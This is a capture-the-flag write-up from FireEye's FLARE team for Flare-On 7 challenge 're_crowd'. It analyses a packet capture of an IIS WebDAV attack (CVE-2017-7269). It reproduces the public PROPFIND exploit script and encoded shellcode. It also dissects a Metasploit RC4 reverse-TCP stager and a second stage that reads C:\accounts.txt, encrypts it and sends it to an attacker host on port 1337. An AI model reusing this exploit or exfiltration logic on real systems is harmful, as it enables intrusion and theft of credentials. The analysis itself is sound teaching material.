C FIREEYE"

FLARE

Flare-On 7: Challenge 7 – re_crowd.pcapng

Challenge Authors: Christopher Gardner, Moritz Raabe, Blaine Stancill

Introduction

The challenge ZIP (re_crowd.zip) contains two files:

- README.txt
- re_crowd.pcapng

The file README.txt explains that a corporation named "Reynholm Industries" has suffered a data breach and requires assistance to determine what data was stolen. Armed with only a packet capture (PCAP), our job is to analyze the network traffic and discover the stolen data.

The following tools are used in this write-up:

- Wireshark
- Python3
- IDA Pro
- x64dbg
- shellcode launcher
- CyberChef

PCAP ANALYSIS

Opening the file re_crowd.pcapng in Wireshark, we are immediately presented with a DNS request for it-dept.reynholm-industries.com and subsequently the HTTP GET request shown in Figure 1.



GET / HTTP/1.1 Host: it-dept.reynholm-industries.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Upgrade-Insecure-Requests: 1 Pragma: no-cache Cache-Control: no-cache

Figure 1: HTTP GET request for it-dept.reynholm-industries.com

To reconstruct the downloaded HTML page contained in the PCAP, Wireshark offers the ability to export objects contained in various protocols such as HTTP. Navigating the file menu via *File* \rightarrow *Export Objects* \rightarrow *HTTP...* we can save all exported objects to a directory of our choosing as shown in Figure 2.

4	Wiresh	ark · Export · HTTP object list				×
	Packet	Hostname	Content Type	Size	Filename	*
	12	it-dept.reynholm-industries.com	text/html	10 kB	X.	=
	16	it-dept.reynholm-industries.com	text/css	2093 bytes	it.css	
	20	it-dept.reynholm-industries.com	image/jpeg	8351 bytes	roy.jpg	
	23	it-dept.reynholm-industries.com	image/jpeg	8031 bytes	richmond.jpg	
	26	it-dept.reynholm-industries.com	image/jpeg	9722 bytes	moss.jpg	
	30	it-dept.reynholm-industries.com	text/html	1635 bytes	favicon.ico	
	48	it-dept.reynholm-industries.com	image/jpeg	6872 bytes	jen.jpg	
	50	it-dept.reynholm-industries.com	image/jpeg	11 kB	denholm.jpg	
	120	192.168.68.1	text/xml	751 bytes	X	
	129	192.168.68.1	text/html	67 bytes	X	
	138	192.168.68.1	text/html	67 bytes	X	
	147	192.168.68.1	text/html	67 bytes	X	
	157	192.168.68.1	text/html	67 bytes	X	-
					•	_
	Fext Filter					
		Sa	ave Sav	e All	Close Help	

Figure 2: Saving exported HTTP objects

Since multiple file objects have the filename "\", we can determine the actual HTML page by sorting the directory of exported objects by size and rename the largest file with a size of 11kB to "index.html" as shown in Figure 3.



Image: Constraint of the second s					G	re_crowd > export	ted_http_items		
Organize 💌	Open Share	e with 👻 New fol	der		Organize 👻	👩 Open 👻 S	Share with 👻 New	/ folder	
🚖 Favorites	Name	Date modified	Туре	Size	☆ Favorites	Name	Date modified	Туре	Size
📃 Desktop	🔄 denholm.jpg	7/29/2020 5:26 PM	JPEG image	11 KB	📃 Deskto	📄 denholm.jpg	7/29/2020 5:26 PM	JPEG image	11
😺 Downloa	2 %5c	7/29/2020 5:26 PM	File	11 KB	Downlo	a 💿 index.html	7/29/2020 5:26 PM	Chrome HTML Do	11
🔢 Recent F	🔊 moss.jpg	7/29/2020 5:26 PM	JPEG image	10 KB	Secent	🛯 🔛 moss.jpg	7/29/2020 5:26 PM	JPEG image	10
JE FLARE	🔛 roy.jpg	7/29/2020 5:26 PM	JPEG image	9 KB	📕 FLARE	roy.jpg	7/29/2020 5:26 PM	JPEG image	9
🍌 Utilities	📔 richmond.jpg	7/29/2020 5:26 PM	JPEG image	8 KB	Juliities	richmond.jpg	7/29/2020 5:26 PM	JPEG image	8

Figure 3: Renaming index.html

Figure 4 depicts a static rendering of the file index.html within a web browser.



Figure 4: Reconstructed web page contained in the PCAP

Reading over the webpage we obtain our first clue to what data was stolen as seen in Figure 5, namely the file C:\accounts.txt.



June, 6th, 2018, 11:11 PM							
Jen. I emailed you a secret file containing a list of all our employe usernames and passwords as well as favorite animal. Get them u this site.							
June, 6th, 2018, 11:43 PM							
Jen	Roy, can you help me create the accounts? I saved the file to C:\accounts.txt on the server.						

Figure 5: Potential stolen file C:\accounts.txt

Turning our attention back to the PCAP, Figure 6 displays an overview of the conversations between hosts obtained by navigating the menu options *Statistics* \rightarrow *Conversations*.

Wireshark · Conversations · re_crowd.pcapng									
Ethernet • 1	IPv4	• 2	IPv6	TCP • 9	3	UDP	• 4		
Address A	Port A	Add	dress B	Port B	Pa	ckets	Byt	es	
192.168.68.21	4444	192	.168.68.1	2926		5	15	29	
192.168.68.1	2927	192	.168.68.21	1337		8	6	66	
192.168.68.21	34078	192.	.168.68.1	80		32	4	5 k	
192.168.68.21	34080	192.	.168.68.1	80		11	82	21	

Figure 6: Odd port numbers

We immediately notice two ports of interest: 4444 and 1337. Following the TCP stream directly prior to the communication over these two ports, we find a PROPFIND request over TCP port 80 as outlined in Figure 7.



<pre>re_crowd.pcapng</pre>	📕 Wireshark - Follow TCP Stream (tcp.stream eq 49) - re_crowd.pcapng
File Edit View	
🛋 🔳 🔬 🔘 🎴	PROPFIND / HTTP/1.1 Host: 192.168.68.1
tcp.stream eq 49	User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
	Content-Length: 0
No. Time	If: <http: 192.168.68.1:80="" <="" th=""></http:>
280 16.82251	XLFLSAXPwyINBzZSTuZXSxVzmXBNTTAbvOAqueTvPJyCnjbjZhWzCZNfcmpBFsbXYNDzfLKSUMMxROxTkBmuagIimJaAoix
281 16.82257	
282 16.82295	> (Not <locktoken:write1>) <http: 192.168.68.1:80="" <="" th=""></http:></locktoken:write1>
283 16.82312	INYqwS1WgMxjvrdSMnCVVzDXcStMEAXYPPbLhsnupccYvkrOeuKrsULnBJzhmdORvBWTMD1pBnJVTyWPJuHatdRLOpTXLcF
284 16.82317	
285 16.82317	
L 301 16.94056	
	ADMARCHAINANANANANANANANANANANANANANANANANANAN
	za8000tKaTmPTapctKW/Zyk3MiniBKNddKM16vn0Yo//faX0im9guwP8Wn0u161Cgm9h0KamNDCF6tnx8k0NMTK0Vs2FtK11PKdK
	NxKlyqZ3tKLDDKYqXPdIq4nDnDokgKS1pY1Jb1voK000100JbkZrHkrmaMbHLsLrYpkPBHBWrS1ra01DS8n1bWmVkW90HUtxV0M1
	IpypKyi4Ntb0bHNIu00kypioIENpNpPP201020a0npS8xjLOGogpIoweF7PjkUS8Upw814n5PhLBipjqgLriXfqZlPr6b7ph3ite
	adqQKOweCUEpd4J1YopN9xbUH10hzPWEVBR6yofu0j9pQZkTqFR7oxKRyIfhoo9oHUDKp63QZVpKqH0Onrbm1N2JmpoxM0N0ypKP
	0QRJipphpX6D0Sk5ioGeBmDX9pkQ9pM0r3R6pPBJKP0Vb3B738KRxYFh10IoHU9qUsNIUv1ehnQKqIomr50g4IY0gxLPkPM0yp0k
	${\tt S9RLp1aUT22V2UBLD4RUqbs5LqMbOC1Np1gPdjkNUpBU9k1q8oypm19pM0NQyK9rmL9wsYersPK2L0jbklmF4JztkWDFjtmObhMD}$
	Iwyn90SE7xMa7kKN7PYrmLywcZN4IwSVZtM0qxlTLGIrn4ko1zKdn7P085IppEmyBUjEaOUsAA>

Figure 7: Suspicious PROPFIND request

Leveraging open-source intelligence (OSINT) by searching for the string:

```
propfind "(Not <locktoken:write1>)"
```

we quickly discover that this is likely an attempt to exploit an Internet Information Services (IIS) buffer overflow vulnerability (CVE-2017-7269). The original source of this exploit appears to be https://github.com/edwardz246003/IIS exploit/blob/master/exploit.py (shown in Figure 8).

```
1 #-----Our payload set up a ROP chain by using the overflow 3 times. It will launch a (
    #written by Zhiniang Peng and Chen Wu. Information Security Lab & School of Computer Science
    #-----Email: edwardz@foxmail.com
 З
4 import socket
5 sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
6 sock.connect(('127.0.0.1',80))
    pay='PROPFIND / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 0\r\n'
8
    pay+='If: <http://localhost/aaaaaaa'</pre>
9
    pay+='\xe6\xbd\xa8\xe7\xa1\xa3\xe7\x9d\xa1\xe7\x84\xb3\xe6\xa4\xb6\xe4\x9d\xb2\xe7\xa8\xb9\xe
10 pay+='>'
pay+='\xe7\xa5\x88\xe6\x85\xb5\xe4\xbd\x83\xe6\xbd\xa7\xe6\xad\xaf\xe4\xa1\x85\xe3\x99\x86\xe
13 shellcode='VVYA4444444444444AATAXAZAPA3QADAZABARALAYAIAQAIAQAIAQAPA5AAAPAZIAIIAIAIAJ11AIAIAJ11AIAIAXA58AAPA2
14
    pay+=shellcode
15 pay+='>\r\n\r\n'
16 print pay
    sock.send(pay)
18 data = sock.recv(80960)
19 print data
```

20 sock.close

Figure 8: Proof of concept code for CVE-2017-7269 available on GitHub



The exploit uses a return-oriented programming (ROP) chain to start a shellcode payload. In the original exploit, and in this <u>Metasploit module</u>, the payload is encoded using alphanumeric characters.

SHELLCODE ANALYSIS

We save the alphanumeric characters VVYAIA...aOUsAA to the file shellcode.bin and open it up as Binary file in IDA Pro. From the reference exploit code, we know that the exploit targets the x86 architecture. So, we instruct IDA Pro to disassemble the file in 32-bit mode. Figure 9 shows the start of the nicely disassembled shellcode after defining code at offset zero.

seg000:00000000	;		
seg000:00000000	; File Name :	C:\Users	s\user\Desktop\re crowd\shellcode.bin
seg000:00000000	; Format :	Binary t	file
seg000:00000000	; Base Address:	0000h Ra	ange: 0000h - 0392h Loaded length: 0392h
seg000:00000000			ů v v v v v v v v v v v v v v v v v v v
seg000:00000000		.686p	
seg000:00000000		.mmx	
seg000:00000000		.model t	flat
seg000:00000000			
seg000:00000000	;		
seg000:00000000			
seg000:00000000	; Segment type:	Pure co	de la
seg000:00000000	seg000	segment	byte public 'CODE' use32
seg000:00000000		assume (cs:seg000
seg000:00000000		assume e	es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
seg000:00000000		push	esi
seg000:00000001		push	esi
seg000:00000002		рор	ecx
seg000:0000003		inc	ecx
seg000:00000004		dec	ecx
seg000:00000005		inc	ecx
seg000:00000006		dec	ecx
seg000:00000007		inc	ecx
seg000:0000008		dec	ecx
seg000:00000009		inc	ecx
seg000:000000A		dec	ecx
seg000:000000B		inc	ecx
seg000:0000000C		dec	ecx
seg000:000000D		inc	ecx
seg000:0000000E		dec	ecx
seg000:0000000F		inc	ecx
seg000:00000010		dec	ecx
seg000:00000011		inc	ecx
seg000:00000012		dec	ecx
seg000:00000013		inc	ecx
seg000:00000014		dec	ecx
seg000:00000015		inc	ecx
seg000:00000016		dec	ecx
seg000:00000017		inc	ecx
seg000:00000018		dec	ecx
seg000:00000019		inc	ecx
seg000:000001A		dec	ecx

Figure 9: Start of disassembled shellcode

The code appears to perform some decoding, but only executes properly up to a point. Successful execution seemingly requires a properly prepared state, i.e., specific register values. To recover this state, we could analyze the ROP chain prior to the shellcode. However, this requires access to specific IIS DLLs which we don't have.

To figure out the real trick here, let's take a closer look at the Metasploit module again. Figure 10 shows the payload configuration. The EncoderType is set to AlphanumUnicodeMixed.



```
43
            'Payload'
                             =>
44
             {
45
                'Space'
                                  => 2000,
46
                'BadChars'
                                  => "\x00",
47
                'EncoderType'
                                  => Msf::Encoder::Type::AlphanumUnicodeMixed,
48
                'DisableNops'
                                  =>
                                      'True',
                'EncoderOptions' =>
49
50
                  {
                    'BufferRegister' => 'ESI',
52
                  }
53
             },
```

Figure 10: Payload configuration in Metasploit module

In the <u>respective encoding module</u> shown in Figure 11 we recognize the familiar character sequences VVYA and IA.

22	if (offset <= 14)	
23	nop = 'CP' * offset	
24	<pre>mod = 'IA' * (14 - offset) + nop</pre>	# dec ecx,,, push ecx, pop edx
25	else	
26	mod = 'AA' * (offset - 14)	# inc ecx
27	<pre>nop = 'CP' * (14 - mod.length)</pre>	
28	mod += nop	
29	end	
30	regprefix = {	# nops ignored below
31	'EAX' => 'PPYA' + mod, #	# push eax, pop ecx
32	'ECX' => mod + "4444", #	# dec ecx
33	'EDX' => 'RRYA' + mod, #	# push edx, pop ecx
34	'EBX' => 'SSYA' + mod, #	# push ebx, pop ecx
35	'ESP' => 'TUYA' + mod, #	# push esp, pop ecx
36	'EBP' => 'UUYA' + mod, #	# push ebp, pop ecx
37	'ESI' => 'VVYA' + mod, #	# push esi, pop ecx
38	'EDI' => 'WWYA' + mod, #	# push edi, pop edi
39	}	

Figure 11: Decoder prefix for AlphanumUnicodeMixed encoding

Moreover, the subsequent payload characters (jXAQADAZABARALA...) line up with the decoder code shown in Figure 12. We're on the right track.



49	<pre>def self.gen_decod</pre>	er(reg, offset)
50	decoder =	
51	gen_decoder_pr	efix(reg, offset) +
52	"j" +	# push 0
53	"XA" +	# pop eax, NOP
54	"QA" +	# push ecx, NOP
55	"DA" +	<pre># inc esp, NOP</pre>
56	"ZA" +	# pop edx, NOP
57	"BA" +	<pre># inc edx, NOP</pre>
58	"RA" +	# push edx, NOP

Figure 12: Decoder code for AlphanumUnicodeMixed encoding

It becomes clear now that we've used the wrong encoding initially. As can be seen in the <u>generic alpha2</u> <u>code</u> the payload is expected to be formatted as Unicode. Figure 13 shows example Python code we can use to properly encode the shellcode bytes.

```
d = "VVYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAIAIAJXAQADAZAB...".decode("utf-8").encode("utf-16le")
with open("shellcode_unicode.bin", "wb") as f:
    f.write(d)
```

Figure 13: Python code to encode shellcode bytes

Now we can disassemble the file shellcode_unicode.bin containing the Unicode encoded payload in IDA Pro. Figure 14 shows how the disassembly lines up with the start of the decoder code shown above in Figure 12.

seg000:00000040	6A	00		push	0	
seg000:00000042	58			рор	eax	
seg000:00000043	00	41	00	add	[ecx+0],	al
seg000:00000046	51			push	ecx	
seg000:00000047	00	41	00	add	[ecx+0],	al
seg000:0000004A	44			inc	esp	
seg000:000004B	00	41	00	add	[ecx+0],	al
seg000:000004E	5A			рор	edx	
seg000:000004F	00	41	00	add	[ecx+0],	al
seg000:00000052	42			inc	edx	
seg000:00000053	00	41	00	add	[ecx+0],	al

Figure 14: Start of decoder prefix at offset 0x40 in shellcode_unicode.bin

PAYLOAD ANALYSIS

Now we need to decode the actual payload. The easiest way to do that is to run the shellcode in a debugger and dump it after decoding. In most alphanumeric shellcode encoders, the start address of the code can be placed into a register. By reexamining the Metasploit module in Figure 10 we see that this



exploit places the address of the shellcode into the ESI register. So we load the shellcode in our favorite <u>launcher tool</u>, debug it with our <u>favorite debugger</u>, and set ESI to the start of the shellcode (Figure 16).

🛠 Shellcode	Runner.exe - Pl	ID: DBC - Thread: Main	Thread 11B4 - x32dbg	S. Surger M.	
File View	Debug Trace	Plugins Favourites	Options Help Aug 12	2018	
🖻 🧐 🔳	🔿 II 🕴	ନ୍ତ 👳 🎍 🕴 🕫	8 🖉 😓 🛷 🥒	fx # A2 🖺 🗐 👮	
CPU	🌳 Graph	Log 📄 Notes	Breakpoints Me	emory Map 🛛 🗍 Call Stack	🗠 SEH 💿 Script 🔮 Symbols 🗘 Source
EIP EDI	00030000	56	push esi	des food 2 d2	A Hide FPU
	00030001	0056 00	add byte ptr	ds:[es1],di	
	00030004	0041 00	add byte ptr	ds:[ecx].al	EAX 000000A
	00030008	49	dec ecx	do.[cex],ai	EBX 0000034 '4'
	00030009	0041 00	add byte ptr	ds:[ecx],al	ECX 0000000
	0003000C	49	dac acr		EDX 000000A
	0003000D	0041 00	E Edit		X EBP 0039F940
	00030010	49			ESP 0039F928
	00030011	0041 00			
	00030014	49	Expression:	30000	ED1 00030000
	00030018	49			FTB
	00030019	0041 00	Butes	00000300	EIF 00030000
	0003001C	49	bytes:	00000300	EELAGE 00000244
	0003001D	0041 00			
	00030020	49	Signed:	196608	
	00030021	0041 00	_		
	00030024	49	Unsigned	196608	
	00030025	0041 00	onsigned.	199909	LastError 0000000 (ERROR SUCCESS)
	00030028	49			LastStatus CO00000 (STATUS INVALID
	00030025	49	ASCII:		Edsestatus cosocos (STATOS_INVALIS
	0003002D	0041 00			
	•	10.			🗖 🛛 Default (stdcall) 🔹 🗸 💭 Unlocke
				OK Cancel	1: [esp+4] 00443988 &"ShellcodeRunn
esi=724 L	°				2: [esp+8] 003BCE44 shellcoderunner
					3: [esp+C] 7EFDE000
					4 [esp+10] 00000724

Figure 15: Setting the ESI register to the start of the shellcode buffer

After letting the shellcode run for a few instructions, a loop is decoded and the code after it starts to look like regular shellcode (see Figure 17).

* ShellcodeRunner.exe - PID: DBC - The	ead: Main Thread 11B4 - x32dbg	
File View Debug Trace Plugins I	avourites Options Help Aug 12 2018	
😑 🗐 🔳 🜩 🖩 🌻 🍓	- 🛊 📲 📓 🥜 🚍 🛷 🛷 fx # A2 🚊	
🕮 CPU 🍨 Graph 📝 Log 📋	🖞 Notes 🛛 📍 Breakpoints 🛛 🛲 Memory Map 🧯	🕽 Call Stack 🧠 SEH 🛛 💀 Script 🎴 Symbols 🔇 Source 🕨
000300D4 41 000300D5 0042 (0 000300D5 0042 (0 000300D5 0042 (0 000300D6 042 (0 000300D0 0042 (0 000300D0 0442 (0 000300D0 0442 (0 000300D0 0442 (0 000300E0 41 000300E1 0042 (0 000300E2 41 000300E4 6801 : 000300E2 8039 4 000300E2 8039 4 000300E2 FC 000300E3 E8 82(0 000300E4 6803 9 000300E5 FC 000300E6 59 000300F9 0066 0 000300F9 0068 (0 00030105 003010 00030105 0030 00030105 0030 00030105 0030 00030105 0030 00030105 0030 00030105 0030 00030105 0030 <	inc ecx add byte ptr ds:[edx],al inc edx inc edx inc edx inc edx cld cld	<pre>Hide FPU EAX 07200682 EBX 0000034 '4' ECX 00030100 EDX 00030075 EBP 0039F940 ESP 0039F940 ESP 0039F940 ESI 00030000 EDI 00030000 EDI 00030000 EIF 00030000 EIF 00030000 EIF 00000000 EFFLAGS 00000202 ZF 0 PF 0 AF 0 OF 0 SF 0 DE 0 CF 0 TF 0 IF 1 LastError 00000000 (ERROR_SUCCESS) LastStatus C00000D (STATUS_INVALID Default (stdcal) ▼ 5 🔄 Uhlocked 1: [esp+4] 004A3888 &"ShellcodeRunn</pre>
		2: [esp+8] 003BCE44 shellcoderunner 3: [esp+C] 7EFDE000 4: [esp+10] 00000724

Figure 16: The decoder loop of the encoder



We set a hardware breakpoint on the address directly after the jne instruction and run the shellcode to fully decode it, as shown in Figure 18. We dump the respective memory region, for example using Scylla or Process Hacker, and analyze it in IDA Pro.

* ShellcodeRunner.exe -	PID: DBC - Thread: Main Th	nread 11B4 - x32dbg	S Annal M		
File View Debug Trac	e Plugins Favourites	Options Help Aug 12 2	018		
🚔 🗐 🖬 🔿 🖩 🛛 😤	२ 🛬 🎍 🛊 🕺	🐻 🥖 🗏 🛷 🥒 f	x # A2 📃 📃 👮		
🕮 CPU 🏾 🌳 Graph	Log 🕒 Notes	Breakpoints Me	mory Map 🛛 🗍 Call Stack	SEF	H 💽 Script 🔮 Symbols 🗘 Source 🕨
000300F3 000300F3 000300F3 000300F3 000300F3 000300F8 000300F8 000300F8 000300F3 000300F8 000300F4 000300F8 000300F3 000300F8 000300F4 000300F8 0003010 0003010A 0003010A 00030110 00030111 00030115	FC E8 82000000 60 89E5 31C0 64:8850 30 8852 14 8852 14 8872 28 OFB74A 26 31FF AC 3C 61 7 C 02 2C 20 C1CF 0D 01C7 E2 F2 52 57 8852 10 8852 10 8854 3C 8854 178 V 23 48 0000	cld call 3017A pushad mov ebp,esp xor eax,eax mov edx,dworc mov edx,dworc mov esi,dworc movz ecx,wor xor edi,edi lodsb cmp al,61 jl 30117 sub al,20 ror edi,D add edi,eax loop 30110 push edx push edi mov ecx,dworc mov ecx,dworc jecx2 30174	d ptr M : [eax+30] d ptr ds: [edx+C] d ptr ds: [edx+14] d ptr ds: [edx+28] d ptr ds: [edx+26] d ptr ds: [edx+26] d ptr ds: [edx+3C] d ptr ds: [ecx+edx+78]		Hide FPU EAX 04100451 EBX 00000034 '4' ECX 00030720 L"AA" EDX 00030720 EBP 0039F940 ESP 0039F940 ESP 0039F928 ESI 00030000 EDI 00030000 EIP 00030000 EIP 00030002 EFLAGS 00000344 ZF 1 PF 1 AF 0 OF 0 SF 0 <u>DF</u> 0 CF 0 TF 1 IF 1 LastError 00000000 (ERROR_SUCCESS) LastStatus C0000000 (STATUS_INVALID) Default (stdcall) ▼ 5 🛬 Unlocked 1: [esp+4] 004A3988 &"ShellcodeRunn 2: [esp+6] 7EFDE000 4: [esp+11] 00000724

Figure 17: Start of the decoded shellcode

The decoded payload contains many shellcode hashes. Searching for the values, again, leads us to Metasploit. After examining the general shellcode structure, we determine that we are looking at a slightly modified version of the "stager_reverse_tcp_rc4" stager payload. Its source assembly with comments is available at https://github.com/rapid7/metasploit-

framework/blob/master/external/source/shellcode/windows/x86/src/stager/stager_reverse_tcp_rc4.asm.

The only differences to the original source are the keys used for encoding the network traffic. Figure 18 shows that this sample uses the key "KXOR" for encoding the length of the payload (instead of the original "XORK") and the RC4 key "killervulture123".



pus	h	0								
pus	h	4								
pus	h	esi								
pus	h	edi								
pus	h	5FC8	D902h							
cal	1	ebp								
mov		esi,	[esi]							
xor		esi,	'ROXK'							
lea		ecx,	Tesi]							
pus	h	40h	; '@'							
bus	h	1000	h							
pus	h	ecx								
bus	h	0								
pus	h	0E55	3A458h							
cal	1	ebp								
lea	-	ebx.	[eax+100h]							
nus	h	ehx,	[can loon]							
nus	h	esi								
pus	h	63Y								
pus		Cax								
			· CODE XREE · seg000							
DUE	h	a	, CODE AREL : SEGUOL							
nus	h	eci								
pus	h	ahv								
pus	h	edi								
pus	h	5502	edi Escendesh							
pus cal	1	ohn	orcougu2n							
- dd	1	eop								
auu		ebx, eax								
Sub		es1,	esi, eax							
Jnz		snor	short loc_250207							
pop		ebx								
pop		ecx								
pop		ерр								
pus	n	евр								
pus	h	edi								
mov		edi,	ebx							
cal	1	loc_	250235							
db	6Bh	; k	; killervulture123							
db	69h	; i								
db	6Ch	; 1								
db	6Ch	; 1								
db	65h	; e								
db	72h	; r								
db	76h	; V								
db	75h	; u								
db	6Ch	; 1								
db	74h	; t								
db	75h	; u								
db	72h	; r								
db	65h	; e								
db	31h	; 1								
db	32h	: 2								
		, –								

Figure 18: Decoding keys in the stager shellcode

Further inspecting the stager, we see that it connects to the hard-coded IP address 192.168.68.21 on port 4444 (see Figure 19), receives a 4-byte length, and then receives that number of bytes. The stager RC4 decrypts the received bytes with the aforementioned key and executes the result.



push push mov	1544A8C0h 5C110002h esi, esp	;	192.168.68.21 0x115C = 4444
	4.01	;	CODE XREF: seg000:0
push	10h		
pusn	esi		
push	edi		
push	6174A599h	5	ws2_32.dll!connect
call	ebp		
test	eax, eax		
jz	short loc_2501D0	5	

Figure 19: C2 connection code

SECOND-STAGE PAYLOAD ANALYSIS

In Wireshark we identify the connection to the C2 server by using the filter: tcp.port==4444. To extract the bytes sent from the C2 server we first right click one of the packets and select *Follow* \rightarrow *TCP Stream*, change the data type at the bottom to "Raw", and save the raw bytes to the file payload.bin. The first four bytes of this data is the XOR-encoded length that decodes to 0x4D7. RC4 decrypting the remaining 0x4D7 bytes results in a second-stage shellcode payload.

After disassembling the decrypted shellcode in IDA Pro using 32-bit mode, we see the shellcode uses runtime linking to dynamically resolve function pointers for Window APIs. Using a rebased address of 0x240000, we see the function at virtual address (VA) 0x2401F1 is responsible for resolving the Windows APIs and expects two DWORDs as arguments, a DLL and API name hash respectively. We also see that the function at VA 0x24038F uses these resolved Windows APIs.

The API resolving function iterates the process environment block's (PEB) loaded module list, capitalizes each DLL name, and uses an additive rotate-13 (ROR13) hashing algorithm to compute a DLL name hash. It compares the computed DLL name hash with the provided hash input. If a match is found, the function iterates the loaded DLL's export table and computes an API hash for each export name using the same additive ROR13 hashing algorithm, but without capitalization. If a match is found with the input API name hash, the function has successfully found the API function and returns a pointer to this function. Otherwise, it returns zero.

If we return to the start of the shellcode, we see references to global data located at VA 0x24046D, 0x240479, and 0x24048D. Since we know how the API resolving function works, we now know the global data's purpose. As Figure 20 shows, VA 0x24048D stores a list of DLL and API name hashes, VA 0x24046D and 0x240479 are used to store the resolved function pointers, and the two strings "C:\accounts.txt" and "intrepidmango" follow.



seg000:0024046D seg000:0024046D	g_dynamic_IAT_1	dd	0			; DATA XREF: : ; sub_240000+4
seg000:00240471 seg000:00240475		dd dd	0 0	Function Po	inter	s (APIs)
seg000:00240479	g_dynamic_IAT_2	dd dd	0 0			; DATA XREF: :
seg000:00240481		dd	0			
seg000:00240485 seg000:00240489		dd dd	0 0			
seg000:0024048D seg000:00240491	g_DLL_and_API_ha	ashe dd	s do 7000	6E2BCA17h 017A5h		; DATA XREF: :
seg000:00240495		dd	73E2	2D87Eh		
seg000:00240499		dd	32E	LEFA6h	DL	L and
seg000:002404A1 seg000:002404A5		dd dd	3BF(60A/	EDCBh F9ECh	API	Hashes
seg000:002404A9		dd dd	0E93	7019A4h		
seg000:00240481		dd	492	0B6Eh		
seg000:002404B5 seg000:002404B9	aCAccountsTxt	dd db	0 'C:`	accounts.tx	t',0	Strings
seg000:002404C9	aIntrepidmango	db	'int	trepidmango'	,0	Strings

Figure 20: Global data

To resolve the function hashes, we have multiple tools at our disposal:

- We can use the IDA Pro shellcode_hashes_search_plugin.py Python script available at <u>https://github.com/fireeye/flare-ida</u>
- We can use an emulation tool such as scdbg (<u>https://github.com/dzzie/SCDBG</u>)
- We can resolve the APIs dynamically in a debugger

Using the last technique, we launch and debug the shellcode. Our debugging session has positioned the shellcode at VA 0x240100 and hence our previous virtual addresses seen statically in IDA Pro will be off by 0x100 bytes. Figure 21 shows the global data after running to the breakpoint set at VA 0x24013F.

🚛 Dump :	1	🛄 Dump 2		0_0	Dump 3	🔔 D
Address	Va	lue	Comm	ients		
0024056D	750	C55396	kenn	ie132	.Create	FileA
00240571	750	C579E0	kenn	ie132	.ExitPr	ocess
00240575	750	C53EA3	″j∖f	"h" F	ReadFile	
00240579	76:	133AB2	WS2_	32.W	/SAStart	up
0024057D	76:	136BDD	WS2_	32.0	onnect	
00240581	76:	136F01	WS2_	32.s	end	
00240585	76:	13449D	WS2_	32.s	hutdown	
00240589	76:	133EB8	WS2_	32.s	ocket	

Figure 21: Resolved API function pointers

To better understand the code in IDA Pro at VA 0x24038F that uses these resolved API function pointers, we define two structures with the corresponding API names as seen in Figure 22.



00000000 00000004 00000008 0000000C 0000000C 0000000C 00000000	<pre>myAPIs_1 CreateFileA ExitProcess ReadFile myAPIs_1 ;</pre>	struc ; dd ? dd ? dd ? ends	(sizeof=0xC,	mappedto_2) ; ;
00000000	myAPIs_2	<pre>struc ;</pre>	(sizeof=0x14,	mappedto_3)
00000000	WSAStartup	dd ?		;
00000004	connect	dd ?		;
80000008	send	dd ?		;
0000000C	shutdown	dd ?		;
00000010	socket	dd ?		;
00000014	myAPIs 2	ends		

Figure 22: API name structures

Applying these structures and fixing pointers to global data gives us an understanding of the overall code flow for the function at VA 0x24038F as seen in Table 1 and Figure 23 below.

Virtual Address	Description
0x2403C4	Open the file C:\accounts.txt
0x2403E4	Read the file data
0x240403	Set the RC4 key using the string intrepidmango
0x20401A	RC4 encrypt the file data
0x24043C	Connect to the hard-coded IP address 192.168.68.21 over TCP port 1337
0x240459	Send the encrypted file data
0x240465	Shutdown the socket

Table 1: Code flow for VA 0x24038F



302000.0024030F	push	ebx	
seg000:00240390	push	esi	
seg000:00240391	nush	edi	
seg000:00240392	nush	ehn	
50000100240302	mov	obp	050
seg000.00240393	1	eop,	esp Foor 20061
seg000:00240395	Iea	esp,	[esp-baon]
seg000:0024039C	call	\$+5	
seg000:002403A1	рор	esi	
seg000:002403A2	lea	esi,	<pre>[esi-3A1h] ; calculate base address 0x240000</pre>
seg000:002403A8	lea	eax,	<pre>rva szCAccountsTxt[esi] ; "C:\\accounts.txt"</pre>
seg000:002403AE	push	0	
seg000:00240380	nush	0	
seg000.00240382	nush	CREAT	E NEW OF CREATE ALWAYS
seg000.00240302	push	0	C_NEW OF CREATE_REWARD
Seg000:00240564	pusn	0	CUARE READ
seg000:00240386	pusn	FILE	SHAKE_KEAD
seg000:00240388	push	GENER	Open C:\accounte txt
seg000:002403BD	push	eax	Open C. accounts.txt
seg000:002403BE	lea	eax,	rva g dynamic IAT 1[esi]
seg000:002403C4	call	[eax+	myAPIs 1.CreateFileA]
seg000:002403C6	mov	edx,	eax
seg000:002403C8	lea	ecx.	[ebp+file contents]
Seg000.00240305	lea	eav,	[ebn+num bytes read]
50000.002403CE	nuch	a,	[coprimal_byccs_read]
Segood:002403D4	pusn	ø	a success of the second
seg000:002403D6	pusn	eax	; number of bytes read
seg000:002403D7	push	100h	
seg000:002403DC	push	ecx	; buffer
seg000:002403DD	push	edx	; file handle
seg000:002403DE	lea	eax.	rva g dvnamic IAT 1[esi]
seg000:002403F4	call	[eax+	mvAPIs 1.ReadFile] Bead file data
Seg000:002403E7	lea	eav	rva szIntrenidmango[esi] : "intrenidmango"
50000.00240307	los	ody.	[eax]
seg000:002403ED	lea	eax,	[eax]
seg000:002403EF	lea	ebx,	[ebp+rc4_state]
seg000:002403F5	mov	edi,	edx
seg000:002403F7	xor	al, a	1
seg000:002403F9	vor	0.014	ecv
	201	ecx,	CCA
seg000:002403FB	dec	ecx,	
seg000:002403FB	dec repne s	ecx, ecx	
seg000:002403FB seg000:002403FC seg000:002403FE	dec repne s	ecx, ecx casb	
seg000:002403FB seg000:002403FC seg000:002403FE	dec repne s not	ecx, ecx casb ecx	
seg000:002403FB seg000:002403FC seg000:002403FE seg000:00240409 seg000:00240400	dec repne s not dec	ecx ecx casb ecx ecx	Set RC4 key
seg000:002403FB seg000:002403FC seg000:002403FE seg000:00240400 seg000:00240401	dec repne s not dec mov	ecx, ecx ecx ecx ecx eax,	ebx Set RC4 key
